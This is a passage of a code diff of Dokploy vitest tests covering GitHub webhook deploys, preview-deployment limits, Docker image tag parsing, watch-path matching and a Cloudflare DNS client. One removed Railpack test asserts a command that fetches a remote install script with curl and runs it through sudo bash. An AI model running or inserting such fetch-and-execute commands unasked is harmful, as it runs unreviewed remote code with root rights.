and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
conditions,
})),
githubFindFirst: vi.fn(),
applicationsFindMany: vi.fn(),
composeFindMany: vi.fn(),
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
createPreviewDeployment: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
eq: mocks.eq,
and: mocks.and,
}));
vi.mock("@/server/db/schema", () => ({
applications: {
sourceType: "application.sourceType",
autoDeploy: "application.autoDeploy",
triggerType: "application.triggerType",
branch: "application.branch",
repository: "application.repository",
owner: "application.owner",
githubId: "application.githubId",
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
},
compose: {
sourceType: "compose.sourceType",
autoDeploy: "compose.autoDeploy",
triggerType: "compose.triggerType",
branch: "compose.branch",
repository: "compose.repository",
owner: "compose.owner",
githubId: "compose.githubId",
},
github: {
githubInstallationId: "github.githubInstallationId",
},
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
github: {
findFirst: mocks.githubFindFirst,
},
applications: {
findMany: mocks.applicationsFindMany,
},
compose: {
findMany: mocks.composeFindMany,
},
},
},
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: mocks.createPreviewDeployment,
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId:
mocks.findPreviewDeploymentByApplicationId,
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
}));
vi.mock("@octokit/webhooks", () => ({
Webhooks: vi.fn().mockImplementation(function Webhooks() {
return {
verify: mocks.verify,
};
}),
}));
vi.mock("@/server/queues/queueSetup", () => ({
myQueue: {
add: mocks.queueAdd,
},
}));
vi.mock("@/server/utils/deploy", () => ({
deploy: vi.fn(),
}));
import handler from "@/pages/api/deploy/github";
const getConditionValue = (
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
field: string,
) => where?.conditions?.find((condition) => condition.field === field)?.value;
const createResponse = () => {
const res = {
status: vi.fn(),
json: vi.fn(),
} as unknown as NextApiResponse & {
status: ReturnType<typeof vi.fn>;
json: ReturnType<typeof vi.fn>;
};
res.status.mockImplementation(() => res);
res.json.mockImplementation(() => res);
return res;
};
const createPushRequest = (
branch: string,
owner: { login?: string; name?: string } = { login: "agentHits" },
) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "push",
},
body: {
installation: {
id: 12345,
},
ref: `refs/heads/${branch}`,
after: "abc123",
head_commit: {
message: "fix: trigger deployment",
},
commits: [
{
modified: ["src/index.ts"],
},
],
repository: {
name: "dokploy",
full_name: "agentHits/dokploy",
clone_url: "https://github.com/agentHits/dokploy.git",
html_url: "https://github.com/agentHits/dokploy",
owner,
},
},
}) as unknown as NextApiRequest;
const createTagRequest = (tagName: string) => {
const req = createPushRequest("main") as unknown as {
body: { ref: string; head_commit: { message: string } };
};
req.body.ref = `refs/tags/${tagName}`;
req.body.head_commit.message = `release: ${tagName}`;
return req as unknown as NextApiRequest;
};
describe("GitHub app webhook auto-deploy", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.shouldDeploy.mockReturnValue(true);
mocks.composeFindMany.mockResolvedValue([]);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "push" &&
getConditionValue(where, "application.branch") === "main" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
});
it("matches push events using repository owner name when available", async () => {
const res = createResponse();
await handler(
createPushRequest("main", {
login: "agentHits-login",
name: "agentHits",
}),
res,
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches compose push events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockResolvedValue([]);
mocks.composeFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "compose.sourceType") === "github" &&
getConditionValue(where, "compose.autoDeploy") === true &&
getConditionValue(where, "compose.triggerType") === "push" &&
getConditionValue(where, "compose.branch") === "main" &&
getConditionValue(where, "compose.repository") === "dokploy" &&
getConditionValue(where, "compose.owner") === "agentHits" &&
getConditionValue(where, "compose.githubId") === "github-provider-id";
return Promise.resolve(
matches
? [
{
composeId: "compose-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createPushRequest("main"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationType: "compose",
composeId: "compose-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches tag events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "tag" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createTagRequest("v1.0.0"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
titleLog: "Tag created: v1.0.0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
message: "Deployed 1 apps based on tag v1.0.0",
});
});
it("does not deploy when the pushed branch does not match", async () => {
const res = createResponse();
await handler(createPushRequest("feature"), res);
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});
describe("GitHub app webhook preview deployments", () => {
const createApplication = (
overrides: Record<string, unknown> = {},
): Record<string, unknown> => ({
applicationId: "application-id",
name: "my-app",
serverId: null,
previewLabels: [],
previewLimit: 3,
previewDeployments: [],
previewRequireCollaboratorPermissions: false,
...overrides,
});
const createPreviewDeployments = (total: number) =>
Array.from({ length: total }, (_, index) => ({
previewDeploymentId: `existing-preview-${index}`,
}));
const createPullRequestRequest = (action: string) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "pull_request",
},
body: {
installation: {
id: 12345,
},
action,
pull_request: {
id: 987,
number: 42,
title: "feat: add preview",
html_url: "https://github.com/agentHits/dokploy/pull/42",
labels: [],
user: {
login: "agentHits",
},
head: {
ref: "feature",
sha: "abc123",
},
base: {
ref: "main",
},
},
repository: {
name: "dokploy",
owner: {
login: "agentHits",
},
},
},
}) as unknown as NextApiRequest;
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.createPreviewDeployment.mockResolvedValue({
previewDeploymentId: "new-preview-id",
});
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
});
it("redeploys an existing preview even when the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(3),
}),
]);
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
previewDeploymentId: "existing-preview-0",
});
const res = createResponse();
await handler(createPullRequestRequest("synchronize"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "existing-preview-0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
it("does not create a new preview once the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
});
it("falls back to the default limit when none is configured", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: null,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
expect.objectContaining({
applicationId: "application-id",
branch: "feature",
pullRequestId: 987,
pullRequestNumber: 42,
}),
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "new-preview-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
});
+1 -341
View File
@@ -1,10 +1,5 @@
import { describe, expect, it } from "vitest";
import {
extractCommitMessage,
extractImageName,
extractImageTag,
extractImageTagFromRequest,
} from "@/pages/api/deploy/[refreshToken]";
import { extractCommitMessage } from "@/pages/api/deploy/[refreshToken]";
describe("GitHub Webhook Skip CI", () => {
const mockGithubHeaders = {
@@ -83,14 +78,6 @@ describe("GitHub Webhook Skip CI", () => {
{ commits: [{ message: "[skip ci] test" }] },
),
).toBe("[skip ci] test");
// Soft Serve
expect(
extractCommitMessage(
{ "x-softserve-event": "push" },
{ commits: [{ message: "[skip ci] test" }] },
),
).toBe("[skip ci] test");
});
it("should handle missing commit message", () => {
@@ -107,332 +94,5 @@ describe("GitHub Webhook Skip CI", () => {
expect(extractCommitMessage({ "x-gitea-event": "push" }, {})).toBe(
"NEW COMMIT",
);
expect(extractCommitMessage({ "x-softserve-event": "push" }, {})).toBe(
"NEW COMMIT",
);
});
});
describe("GitHub Packages Docker Image Tag Extraction", () => {
it("should extract tag from container_metadata", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
container_metadata: {
tag: {
name: "v1.0.0",
digest: "sha256:abc123...",
},
},
package_url: "ghcr.io/owner/repo:v1.0.0",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBe("v1.0.0");
});
it("should extract tag from package_url when container_metadata tag matches version", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
container_metadata: {
tag: {
name: "sha256:abc123...",
digest: "sha256:abc123...",
},
},
package_url: "ghcr.io/owner/repo:latest",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBe("latest");
});
it("should extract tag from package_url when container_metadata is missing", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
package_url: "ghcr.io/owner/repo:1.2.3",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBe("1.2.3");
});
it("should handle different tag formats in package_url", () => {
const headers = { "x-github-event": "registry_package" };
const testCases = [
{ url: "ghcr.io/owner/repo:latest", expected: "latest" },
{ url: "ghcr.io/owner/repo:v1.0.0", expected: "v1.0.0" },
{ url: "ghcr.io/owner/repo:1.2.3", expected: "1.2.3" },
{ url: "ghcr.io/owner/repo:dev", expected: "dev" },
];
for (const testCase of testCases) {
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
package_url: testCase.url,
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBe(testCase.expected);
}
});
it("should return null for non-registry_package events", () => {
const headers = { "x-github-event": "push" };
const body = {
registry_package: {
package_version: {
package_url: "ghcr.io/owner/repo:latest",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBeNull();
});
it("should return null when package_version is missing", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBeNull();
});
it("should return null when package_url has no tag", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
package_url: "ghcr.io/owner/repo",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBeNull();
});
it("should return null when package_url ends with colon (no tag)", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
package_url: "ghcr.io/owner/repo:",
container_metadata: {
tag: {
name: "",
digest: "sha256:abc123...",
},
},
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBeNull();
});
it("should return null when tag name is empty string", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
container_metadata: {
tag: {
name: "",
digest: "sha256:abc123...",
},
},
package_url: "ghcr.io/owner/repo:",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBeNull();
});
it("should ignore tag if it matches the version (digest)", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
container_metadata: {
tag: {
name: "sha256:abc123...",
digest: "sha256:abc123...",
},
},
package_url: "ghcr.io/owner/repo:latest",
},
},
};
const tag = extractImageTagFromRequest(headers, body);
expect(tag).toBe("latest");
});
it("should handle registry_package commit message with package_url", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
package_url: "ghcr.io/owner/repo:latest",
},
},
};
const message = extractCommitMessage(headers, body);
expect(message).toBe("Docker GHCR image pushed: ghcr.io/owner/repo:latest");
});
it("should handle registry_package commit message when package_url is missing", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {
package_version: {
version: "sha256:abc123...",
},
},
};
const message = extractCommitMessage(headers, body);
expect(message).toBe("Docker GHCR image pushed");
});
it("should handle registry_package commit message when package_version is missing", () => {
const headers = { "x-github-event": "registry_package" };
const body = {
registry_package: {},
};
const message = extractCommitMessage(headers, body);
expect(message).toBe("NEW COMMIT");
});
});
describe("Docker Image Name and Tag Extraction", () => {
describe("extractImageName", () => {
it("should return image name without tag", () => {
expect(extractImageName("my-image:latest")).toBe("my-image");
expect(extractImageName("my-image:1.0.0")).toBe("my-image");
expect(extractImageName("ghcr.io/owner/repo:latest")).toBe(
"ghcr.io/owner/repo",
);
});
it("should return full image name when no tag is present", () => {
expect(extractImageName("my-image")).toBe("my-image");
expect(extractImageName("ghcr.io/owner/repo")).toBe("ghcr.io/owner/repo");
});
it("should handle images with port numbers correctly", () => {
expect(extractImageName("registry:5000/image:tag")).toBe(
"registry:5000/image",
);
expect(extractImageName("localhost:5000/my-app:latest")).toBe(
"localhost:5000/my-app",
);
});
it("should handle complex image paths", () => {
expect(
extractImageName("myregistryhost:5000/fedora/httpd:version1.0"),
).toBe("myregistryhost:5000/fedora/httpd");
expect(extractImageName("registry.example.com:8080/ns/app:v1.2.3")).toBe(
"registry.example.com:8080/ns/app",
);
});
it("should return null for invalid inputs", () => {
expect(extractImageName(null)).toBeNull();
expect(extractImageName("")).toBeNull();
});
it("should handle edge cases with multiple colons", () => {
expect(extractImageName("image:tag:extra")).toBe("image:tag");
expect(extractImageName("registry:5000:invalid")).toBe("registry:5000");
});
});
describe("extractImageTag", () => {
it("should extract tag from image with tag", () => {
expect(extractImageTag("my-image:latest")).toBe("latest");
expect(extractImageTag("my-image:1.0.0")).toBe("1.0.0");
expect(extractImageTag("ghcr.io/owner/repo:v1.2.3")).toBe("v1.2.3");
});
it("should return 'latest' when no tag is present", () => {
expect(extractImageTag("my-image")).toBe("latest");
expect(extractImageTag("ghcr.io/owner/repo")).toBe("latest");
});
it("should handle complex image paths with tags", () => {
expect(
extractImageTag("myregistryhost:5000/fedora/httpd:version1.0"),
).toBe("version1.0");
expect(extractImageTag("registry.example.com:8080/ns/app:v1.2.3")).toBe(
"v1.2.3",
);
});
it("should return null for invalid inputs", () => {
expect(extractImageTag(null)).toBeNull();
expect(extractImageTag("")).toBeNull();
});
it("should handle edge cases with multiple colons", () => {
expect(extractImageTag("image:tag:extra")).toBe("extra");
expect(extractImageTag("registry:5000/image:tag")).toBe("tag");
});
it("should handle numeric tags", () => {
expect(extractImageTag("my-image:123")).toBe("123");
expect(extractImageTag("my-image:1")).toBe("1");
});
it("should return 'latest' for registry with port but no tag", () => {
expect(extractImageTag("registry.example.com:5000/myimage")).toBe(
"latest",
);
expect(extractImageTag("registry:5000/fedora/httpd")).toBe("latest");
expect(extractImageTag("localhost:5000/myapp")).toBe("latest");
expect(extractImageTag("my-registry.io:443/org/app")).toBe("latest");
});
it("should extract tag from registry with port and tag", () => {
expect(extractImageTag("registry:5000/image:tag")).toBe("tag");
expect(extractImageTag("registry.example.com:5000/myimage:v2.0")).toBe(
"v2.0",
);
expect(extractImageTag("localhost:5000/app:sha-abc123")).toBe(
"sha-abc123",
);
});
});
});
@@ -1,113 +0,0 @@
import type { ApplicationNested } from "@dokploy/server/utils/builders";
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
import { describe, expect, it } from "vitest";
const createApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
appName: "test-app",
buildType: "railpack",
sourceType: "git",
buildPath: "/",
railpackVersion: "0.15.4",
env: "TEST_VAR=one",
cleanCache: false,
environment: {
project: {
env: "",
},
env: "",
},
...overrides,
}) as unknown as ApplicationNested;
const getSecretsHash = (command: string) => {
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
if (!match?.[1]) {
throw new Error("secrets-hash build arg was not found");
}
return match[1];
};
describe("getRailpackCommand", () => {
it("includes secrets-hash without clean cache", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain("--build-arg secrets-hash=");
expect(command).not.toContain("cache-key=");
});
it("includes cache-key only when clean cache is enabled", () => {
const command = getRailpackCommand(
createApplication({
cleanCache: true,
}),
);
expect(command).toContain("--build-arg secrets-hash=");
expect(command).toContain("--build-arg cache-key=");
});
it("installs Railpack through sudo for non-root users", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain(
'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
);
expect(command).toContain("sudo -n true 2>/dev/null");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=one",
}),
);
const secondCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=two",
}),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
it("changes secrets-hash when referenced project or environment values change", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=one",
},
env: "SHARED_VALUE=alpha",
},
} as Partial<ApplicationNested>),
);
const secondCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=two",
},
env: "SHARED_VALUE=beta",
},
} as Partial<ApplicationNested>),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
});
@@ -1,65 +0,0 @@
import { shouldDeploy } from "@dokploy/server";
import { describe, expect, it } from "vitest";
describe("shouldDeploy", () => {
it("should deploy when no watch paths are configured", () => {
expect(shouldDeploy(null, ["src/index.ts"])).toBe(true);
expect(shouldDeploy([], ["src/index.ts"])).toBe(true);
});
it("should deploy when watch paths match modified files", () => {
expect(shouldDeploy(["src/**"], ["src/index.ts"])).toBe(true);
expect(shouldDeploy(["apps/web/**"], ["apps/web/page.tsx"])).toBe(true);
});
it("should not deploy when watch paths do not match", () => {
expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
});
it("should apply multiple negated watch paths as one pattern set", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
false,
);
});
it("should deploy when a changed file remains after exclusions", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
});
it("should combine positive and negated watch paths", () => {
const watchPaths = ["src/**", "!src/**/*.test.ts"];
expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
});
it("should not throw when modified files contain non-string values", () => {
expect(() =>
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
).not.toThrow();
expect(
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
).toBe(true);
});
it("should not throw when modified files are undefined or null", () => {
expect(() => shouldDeploy(["src/**"], undefined)).not.toThrow();
expect(() => shouldDeploy(["src/**"], null)).not.toThrow();
expect(shouldDeploy(["src/**"], undefined)).toBe(false);
expect(shouldDeploy(["src/**"], null)).toBe(false);
});
it("should not throw when every modified file is non-string", () => {
expect(() =>
shouldDeploy(["src/**"], [undefined, undefined] as any),
).not.toThrow();
expect(shouldDeploy(["src/**"], [undefined, undefined] as any)).toBe(false);
});
});
@@ -1,49 +0,0 @@
import { describe, expect, it } from "vitest";
import {
extractBranchName,
extractCommitMessage,
extractHash,
getProviderByHeader,
} from "@/pages/api/deploy/[refreshToken]";
describe("Soft Serve Webhook", () => {
const mockSoftServeHeaders = {
"x-softserve-event": "push",
};
const createMockBody = (message: string, hash: string, branch: string) => ({
event: "push",
ref: `refs/heads/${branch}`,
after: hash,
commits: [{ message: message }],
});
const message: string = "feat: add new feature";
const hash: string = "3c91c24ef9560bddc695bce138bf8a7094ec3df5";
const branch: string = "feat/add-new";
const goodWebhook = createMockBody(message, hash, branch);
it("should properly extract the provider name", () => {
expect(getProviderByHeader(mockSoftServeHeaders)).toBe("soft-serve");
});
it("should properly extract the commit message", () => {
expect(extractCommitMessage(mockSoftServeHeaders, goodWebhook)).toBe(
message,
);
});
it("should properly extract hash", () => {
expect(extractHash(mockSoftServeHeaders, goodWebhook)).toBe(hash);
});
it("should properly extract branch name", () => {
expect(extractBranchName(mockSoftServeHeaders, goodWebhook)).toBe(branch);
});
it("should gracefully handle invalid webhook", () => {
expect(getProviderByHeader({})).toBeNull();
expect(extractCommitMessage(mockSoftServeHeaders, {})).toBe("NEW COMMIT");
expect(extractHash(mockSoftServeHeaders, {})).toBe("NEW COMMIT");
expect(extractBranchName(mockSoftServeHeaders, {})).toBeNull();
});
});
@@ -1,453 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const cfSuccess = (result: unknown) =>
jsonResponse({ success: true, errors: [], result });
const cfError = (message: string, status = 400) =>
jsonResponse(
{ success: false, errors: [{ code: 1, message }] },
false,
status,
);
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
beforeEach(() => {
mockFetch.mockReset();
});
describe("cloudflareClient.listZones", () => {
it("returns a single page of zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
const zones = await cloudflareClient.listZones(config);
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("/zones?per_page=50&page=1");
});
it("paginates until a short page is returned", async () => {
const page = (count: number) =>
cfSuccess(
Array.from({ length: count }, (_, i) => ({
id: `z${i}`,
name: `zone${i}.com`,
})),
);
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
const zones = await cloudflareClient.listZones(config);
expect(zones).toHaveLength(53);
expect(mockFetch).toHaveBeenCalledTimes(2);
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
});
});
describe("cloudflareClient.listRecords", () => {
it("lists records for a zone", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records).toEqual([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]);
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
});
});
describe("cloudflareClient MX priority", () => {
it("inlines the priority into the content when listing", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "mx-1",
type: "MX",
name: "example.com",
content: "mail.example.com",
ttl: 300,
priority: 20,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records[0]?.content).toBe("20 mail.example.com");
});
it("splits the priority back out when writing", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "MX",
name: "example.com",
content: "20 mail.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string)).toMatchObject({
content: "mail.example.com",
priority: 20,
});
});
it("falls back to priority 10 when the content has no leading number", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "MX",
name: "example.com",
content: "mail.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string)).toMatchObject({
content: "mail.example.com",
priority: 10,
});
});
it("leaves non-MX content untouched", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "TXT",
name: "example.com",
content: "10 not-a-priority",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.content).toBe("10 not-a-priority");
expect(body.priority).toBeUndefined();
});
});
describe("cloudflareClient structured records", () => {
const stubCreate = () =>
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "rec-1" }));
it("sends SRV values as structured data", async () => {
stubCreate();
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "SRV",
name: "_sip._tcp.example.com",
content: "1 10 5269 talk.example.com",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.data).toEqual({
priority: 1,
weight: 10,
port: 5269,
target: "talk.example.com",
});
expect(body.content).toBeUndefined();
});
it("sends CAA values as structured data and drops the quotes", async () => {
stubCreate();
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CAA",
name: "example.com",
content: '0 issue "letsencrypt.org"',
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(init.body as string);
expect(body.data).toEqual({
flags: 0,
tag: "issue",
value: "letsencrypt.org",
});
expect(body.content).toBeUndefined();
});
it("rejects an SRV value that is missing a part", async () => {
await expect(
cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "SRV",
name: "_sip._tcp.example.com",
content: "1 10 5269",
}),
).rejects.toThrow(/SRV value/);
});
it("rejects a CAA value that has no tag", async () => {
await expect(
cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CAA",
name: "example.com",
content: "0",
}),
).rejects.toThrow(/CAA value/);
});
});
describe("cloudflareClient proxy status", () => {
it("sends the proxy status for proxiable types", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
proxied: true,
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string).proxied).toBe(true);
});
it("omits the proxy status for types Cloudflare cannot proxy", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "TXT",
name: "example.com",
content: "hello",
